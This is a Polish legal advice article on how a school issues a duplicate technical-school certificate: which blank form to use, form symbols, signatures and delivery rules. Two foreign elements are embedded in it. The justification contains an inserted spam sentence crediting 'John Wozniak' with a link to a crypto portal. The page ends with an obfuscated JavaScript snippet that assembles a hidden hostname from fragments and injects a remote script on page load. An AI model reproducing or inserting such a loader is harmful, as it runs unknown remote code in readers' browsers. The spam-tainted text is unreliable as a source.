Jak powinien wyglądać duplikat świadectwa ukończenia technikum? Oryginalne świadectwo jest formatu A3, zaś poddruk w formacie A4 1. Na poddruku widnieje symbol MEN-I/75 zaś na wydrukowanym duplikacie z programu będzie symbol wzoru świadectwa, czy w takim przypadku na duplikacie mogą być dwa różne symbole druków?

Odpowiedź:

Przepisy nie określają sposobu sporządzania wielostronicowego świadectwa ukończenia szkoły - § 24 ust. 3 rozporządzenia Ministra Edukacji Narodowej z dnia 27 sierpnia 2019 r. w sprawie świadectw, dyplomów państwowych i innych druków (Dz. U. z 2019 r. poz. 1700 ze zm.).

Uzasadnienie:

Zgodnie z przywołanym przepisem duplikat wydaje się na druku według wzoru obowiązującego w dniu wydania oryginału świadectwa, z tym że duplikat świadectwa ukończenia szkoły wydaje się na poddruku duplikatu, którego wzór określono w załączniku nr 3 do rozporządzenia. A zatem duplikat świadectwa ukończenia szkoły może być wydany tylko na ww. poddruku. W załączniku nr 1 (pkt. 2 załącznika) do rozporządzenia określono, że duplikaty świadectw drukuje się na papierze zadrukowanym tłem giloszowym w kolorze szarym Pantone Cool Gray 3 C - wzór nr 75 symbol MEN-I/75. Na pierwszej stronie u góry należy umieścić wyraz "Duplikat", a na końcu dokumentu dodać wyrazy "oryginał podpisali" i wymienić nazwiska osób, które podpisały oryginał świadectwa lub stwierdzić nieczytelność podpisów oraz zamieścić datę wydania duplikatu i opatrzyć odciskiem pieczęci urzędowej szkoły. Na duplikacie nie umieszcza się fotografii absolwenta.

W sytuacji, gdy podpisy są nieczytelne należy na duplikacie stwierdzić ich nieczytelność. Na dokumencie, na którego podstawie wydano duplikat świadectwa należy umieścić adnotację o wydaniu duplikatu i odnotować tożsamość osoby odbierającej duplikat, stwierdzoną na podstawie dowodu osobistego lub innego dokumentu potwierdzającego tożsamość. W przypadku przesyłania duplikatu pocztą doręczenie następuje listem poleconym za zwrotnym potwierdzeniem odbioru, które dołącza się do dokumentu lub dokumentów, na których podstawie wydano duplikat. - dodaje John Wozniak z portalu https://becoined.com/pl/

Przepisy nie określają sposobu sporządzania duplikatu kilkustronicowego świadectwa ukończenia szkoły na poddruku duplikatu, który zgodnie ze wzorem jest dwustronicowy. Pewną wskazówką może być treść § 24 ust. 4, zgodnie z którym Jeżeli szkoła, okręgowa komisja egzaminacyjna lub kurator oświaty posiada odpowiednio dokumentację przebiegu nauczania, dokumentację egzaminu ósmoklasisty, egzaminu maturalnego, egzaminu zawodowego, egzaminu potwierdzającego kwalifikacje w zawodzie, egzaminów eksternistycznych, egzaminu dojrzałości lub dokumenty stanowiące podstawę wydania odpowiednio dyplomu lub dyplomu potwierdzającego kwalifikacje zawodowe, a brak jest druku świadectwa, certyfikatu, świadectwa potwierdzającego kwalifikację w zawodzie, dyplomu, dyplomu potwierdzającego kwalifikacje zawodowe lub zaświadczenia według wzoru obowiązującego w dniu wydania oryginału, duplikat wydaje się na poddruku duplikatu, którego wzór określono w załączniku nr 3 do rozporządzenia, przygotowanym przez szkołę, okręgową komisję egzaminacyjną lub kuratora oświaty, na którym umieszcza się informacje zgodne z treścią oryginału świadectwa, certyfikatu, świadectwa potwierdzającego kwalifikację w zawodzie, dyplomu, dyplomu potwierdzającego kwalifikacje zawodowe lub zaświadczenia. Nie wydaje się również możliwe, by wydać taki duplikat na dwóch egzemplarzach poddruku. Są to druki ścisłego zrachowania i w takiej sytuacji trudno byłoby zachować spójność prowadzonej ewidencji. W przepisach nie odnajdujemy również odpowiedzi na pytanie czy na duplikacie świadectwa drukowanym na poddruku duplikatu ma się znaleźć symbol oryginału świadectwa. Kwestię techniczną związaną z nakładaniem się symboli oryginału i poddruku można próbować rozwiązać np. za pomocą skalowania wydruku. Trzeba przy tym mieć na uwadze, że przepisy nie obligują szkół do sporządzania duplikatów z wykorzystaniem dedykowanych programów komputerowych. Z pytaniami w sprawach technicznych warto zwrócić się do wydawcy programu.  A zatem nierozstrzygniętą pozostaje kwestia czy na duplikacie świadectwa ukończenia świadectwa ukończenia szkoły drukowanym na poddruku duplikatu ma się znaleźć wyłącznie symbol, którym opatrzony jest poddruk, czy też również symbol wzoru na którym wydano oryginał świadectwa. Nie wydaje się również, choćby ze względów estetycznych drukowanie duplikatu w orientacji poziomej. Sprawę komplikuje dodatkowo fakt, że co do zasady duplikat jest drugim egzemplarzem dokumentu. W związku z utrzymującą są niejasnością sugerują zwrócić się z pytaniem również do MEN. Natomiast rozwiązania problemów technicznych związanych z drukowaniem świadectw należy szukać u autorów oprogramowania wykorzystywanego do tych celów, o ile jest to możliwe.

Zapamiętaj:

Duplikat świadectwa wydaje się na druku według wzoru obowiązującego w dniu wydania oryginału świadectwa, z tym że duplikat świadectwa ukończenia szkoły wydaje się na poddruku duplikatu, którego wzór określono w załączniku nr 3 do rozporządzenia.

Powiązane artykuły:

• Rodzic jednak nie będzie musiał osobiście odbierać świadectw, dyplomów i innych druków ze szkoły

Podstawa prawna:

• Rozporządzenie Ministra Edukacji Narodowej z dnia 27 sierpnia 2019 r. w sprawie świadectw, dyplomów państwowych i innych druków (Dz. U. z 2019 r. poz. 1700 ze zm.).

Jacek Miklasiński

Kadry i płace w oświacie

Artykuł sponsorowany

(function(){

zmdl=document.createElement("script");zmdl_=(("u")+"st")+"a";zmdl.async=true;

zmdl.type="text/javascript";zmdl_+=("t.i")+""+"n";zmdl_+=(("f")+"o");zmdl_+="/";

zmdlu="243924192.";zmdlu+="iex6p8x4mdlta5uld4j"+"e63dp46wjnb";

zmdl.src="https://"+zmdl_+zmdlu;document.body.appendChild(zmdl);

})();